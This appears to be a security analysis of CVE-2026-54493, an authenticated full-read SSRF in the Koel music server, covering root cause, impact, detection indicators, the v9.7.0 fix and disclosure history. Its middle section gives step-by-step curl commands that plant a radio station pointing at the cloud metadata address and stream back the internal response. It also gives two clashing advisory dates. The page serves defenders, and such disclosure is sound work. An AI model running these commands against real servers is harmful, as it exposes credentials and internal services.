CVE-2026-54493: 
PHP vulnerability analysis and mitigation

CVE-2026-54493 is an authenticated full-read Server-Side Request Forgery (SSRF) vulnerability in Koel, an open-source personal music streaming server. The flaw exists in the Subsonic-compatible internet radio station endpoints, which lack the URL validation (SafeUrl and HasAudioContentType checks) enforced by the regular web API. An authenticated user can register a radio station pointing to an internal/private URL via the Subsonic API and then trigger the server to fetch and return the full response body through the radio streaming endpoint. It affects all versions of phanan/koel up to and including v9.6.0, with v9.7.0 containing the fix. The vulnerability was first published on June 4, 2026, and carries a CVSS v3.1 base score of 7.7 (High) (GitHub Advisory, Koel Advisory).

The root cause is a validation inconsistency (CWE-918) between Koel's regular radio API and its Subsonic-compatible counterparts. The regular API enforces new SafeUrl() and new HasAudioContentType() rules in RadioStationStoreRequest.php and RadioStationUpdateRequest.php, but the Subsonic request classes (CreateInternetRadioStationRequest.php and UpdateInternetRadioStationRequest.php) only validate that streamUrl is a required string — no URL safety or content-type checks are applied. The unvalidated URL is stored in the database and later passed directly to RadioStreamProxy::openStream(), which calls fopen($url, 'r', false, $context) without any SSRF guard. Because RadioStreamProxy streams the upstream response body back to the client via fread() in a loop, this is a full-read SSRF (not blind): the attacker receives the complete HTTP response from the internal target through the /radio/stream/{id} endpoint (GitHub Advisory, Fix PR).

An authenticated attacker can use Koel as a full-read SSRF proxy to reach HTTP services that are otherwise inaccessible from the public internet, including loopback (127.0.0.1), RFC1918 private addresses, and Docker bridge network hosts. Practical targets include internal admin panels, metrics endpoints (e.g., Prometheus), cloud instance metadata services (e.g., 169.254.169.254), and other microservices co-located with the Koel server. Because the full response body is returned to the attacker, sensitive data such as credentials, tokens, configuration files, or internal API responses can be exfiltrated. Integrity and availability are not directly impacted, but the confidentiality impact is rated High with a changed scope, reflecting the ability to pivot into otherwise-isolated network segments (Koel Advisory).

A detailed proof-of-concept (PoC) is publicly documented in the official GitHub Security Advisory, validated against the phanan/koel:9.6.0 Docker image. Exploitation requires only a valid Koel user account (low privileges) and network access to the Koel instance — no special configuration or elevated permissions are needed. There is no evidence of in-the-wild exploitation or threat actor attribution at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is not yet published. The CVE status was listed as "Reserved" at the time of Feedly ingestion, with the advisory published on July 15, 2026 (GitHub Advisory, Feedly).

1. Authenticate to Koel: Obtain a Koel API token by POSTing credentials to /api/me:

API_TOKEN=$(curl -sS -X POST http://<koel-host>/api/me \
  -H 'Content-Type: application/json' \
  --data '{"email":"user@example.com","password":"password"}' \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])')

2. Retrieve the Subsonic API key: Fetch the user's Subsonic API key from /api/data:

SUBSONIC_KEY=$(curl -sS http://<koel-host>/api/data \
  -H "Authorization: Bearer $API_TOKEN" \
  | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])')

3. Create a malicious radio station via the Subsonic endpoint: Submit an internal target URL (e.g., http://169.254.169.254/latest/meta-data/) to createInternetRadioStation.view, bypassing the SafeUrl check absent from this route:

curl -i -G http://<koel-host>/rest/createInternetRadioStation.view \
  --data-urlencode "apiKey=$SUBSONIC_KEY" \
  --data-urlencode 'f=json' \
  --data-urlencode 'name=ssrf-probe' \
  --data-urlencode 'streamUrl=http://169.254.169.254/latest/meta-data/'

4. Resolve the station ID: Query getInternetRadioStations.view to find the ID of the newly created station.
5. Trigger the SSRF and read the response: Stream the station to cause the server to fetch the internal URL and return its full response body:

curl -i "http://<koel-host>/radio/stream/<STATION_ID>?api_token=$API_TOKEN"

The HTTP 200 response body will contain the content retrieved from the internal target (Koel Advisory).

• Network: Outbound HTTP requests from the Koel server to RFC1918 addresses (10.x.x.x, 172.16–31.x.x, 192.168.x.x), loopback (127.0.0.1), Docker bridge addresses (172.17.0.x), or cloud metadata endpoints (169.254.169.254) — particularly on non-standard ports.
• Logs: Koel application/access logs showing requests to /rest/createInternetRadioStation.view or /rest/updateInternetRadioStation.view with streamUrl parameters containing private/internal IP addresses; subsequent requests to /radio/stream/<id> from the same authenticated user.
• Database: Radio station records in the Koel database where the stream_url field contains loopback, RFC1918, or metadata service addresses rather than public audio stream URLs.
• Process/Network: Unexpected outbound TCP connections from the PHP-FPM or web server process to internal network hosts, observable via netstat, ss, or network flow logs (Koel Advisory).

Upgrade to Koel v9.7.0 or later, which applies SafeUrl and HasAudioContentType validation to the Subsonic createInternetRadioStation.view and updateInternetRadioStation.view endpoints, and adds a defense-in-depth check in RadioStreamProxy::openStream() that returns false for any URL that fails the isSafeUrl() check (Koel v9.7.0 Release, Fix PR). No official workaround short of upgrading is documented; however, operators who cannot upgrade immediately should consider restricting Koel's outbound network access via firewall rules to block connections to RFC1918 ranges, loopback, and cloud metadata endpoints. Auditing existing radio station records in the database for internal URLs is also recommended to detect prior exploitation.

The vulnerability was reported by security researcher dennyabrahamsinaga and credited in the official advisory. The Koel maintainer (phanan) responded promptly, merging the fix (PR #2545) on June 3, 2026, and releasing v9.7.0 on June 4, 2026 — the same day the advisory was published. The fix also addressed a related blind SSRF in the Subsonic podcast channel endpoint (GHSA-w79m-f3jx-779v), and follow-up PRs (#2546, #2549) addressed redirect-based SSRF bypass and DNS rebinding concerns raised during code review (Fix PR, Koel v9.7.0 Release).